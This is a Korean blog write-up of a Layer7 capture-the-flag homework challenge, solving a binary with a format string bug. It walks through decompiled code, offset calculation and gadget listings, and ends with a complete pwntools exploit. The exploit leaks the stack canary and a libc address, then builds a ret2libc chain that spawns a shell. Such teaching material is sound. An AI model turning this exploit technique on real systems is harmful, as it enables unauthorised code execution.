[Layer7 - 과제] prob2 - FSB

2021. 8. 1. 23:50카테고리 없음

문제

 

 

 

IDA 디컴파일
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[8]; // [rsp+0h] [rbp-20h]
  __int64 v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)format = 478560413032LL;
  v5 = 0LL;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  __isoc99_scanf("%10s", format);
  printf(format);
  read(0, format, 0x100uLL);
  return 0;
}

 

scanf로 %10 만큼 받고 있습니다 그 후 

printf(format) 을 하므로 FSB(포멧 스트링 버그) 가 터지는 걸 알 수 있습니다.

 

 

 

 

명령어 : checksec 파일이름

NX 보호기법이 걸려있으므로, 쉘코드로는 불가능합니다.

 

FSB를 이용하여 leak, 그리고 Canary 보호기법이 걸려 있으므로 이것도 FSB를 이용하여 Canary leak을 해준 다음.

read함수에서 BOF를 이용해 작성해 주겠습니다

 

이제 위치를 계산해 보면...

rdi rsi rdx rcx r8 r9( 5개 ) + 3 + 1(Canary) = 9

 

rdi rsi rdx rcx r8 r9( 5개 ) + 4 + 1(sfp) + 1(Ret) = 11

 

 

 

분석?

1. 값은 계산하여 %9$p%11$p 를 입력.

2. 먼저 main+240을 leak했으므로, 빼준 후... libc_Base를 구한 다음.

3. system 위치, binsh 구하기

4. BUF + CANARY + SFP + RET 

 

 

 

 

명령어 : ROPgadget --binary 파일이름 | grep "pop"

user@user-virtual-machine:~/Desktop/Layer7/pwnable/fsb$ ROPgadget --binary prob2 | grep "pop"
0x000000000040069e : adc dword ptr [rbp - 0x41], ebx ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040069d : je 0x4006b0 ; pop rbp ; mov edi, 0x601058 ; jmp rax
0x00000000004006eb : je 0x4006f8 ; pop rbp ; mov edi, 0x601058 ; jmp rax
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x00000000004006ec : or ebx, dword ptr [rbp - 0x41] ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x00000000004006a1 : pop rax ; adc byte ptr [rax], ah ; jmp rax
0x0000000000400740 : pop rbp ; jmp 0x4006c0
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601058 ; jmp rax
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ea : sal byte ptr [rbx + rcx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x000000000040069c : sal byte ptr [rcx + rdx + 0x5d], 0xbf ; pop rax ; adc byte ptr [rax], ah ; jmp rax
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
user@user-virtual-machine:~/Desktop/Layer7/pwnable/fsb$

 

system변수에 인자를 넣어줄 가젯 pop rdi ; ret

 

 

 

1번 풀이.

 > Libc_Base를 이용하여 Bin/sh 를 찾고 인자에 넣어주겠습니다.

 

Exploit code ( Bin/sh 문자열 검색 )
from pwn import *

context.log_level = 'debug'

p = process("./prob2")
e = ELF("./prob2")
libc = e.libc

prdi = 0x0000000000400893

pay = "%11$p%9$p"
p.sendline(pay)

leak = int(p.recv(14),16)
canary = int(p.recv(18),16)


libc_base =  leak - libc.symbols['__libc_start_main'] - 240
log.info('libc base = '+ hex(libc_base))

system = libc_base + libc.symbols['system']
log.info(hex(system))

binsh = libc_base + list(libc.search('/bin/sh'))[0]
log.info(hex(binsh))


payload = ""
payload += 'A'*(0x20 - 0x8)
payload += p64(canary)
payload += 'B' * (0x8)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system)


sleep(0.1)
p.send(payload)

p.interactive()

 

 

 

 

 

 

FLAG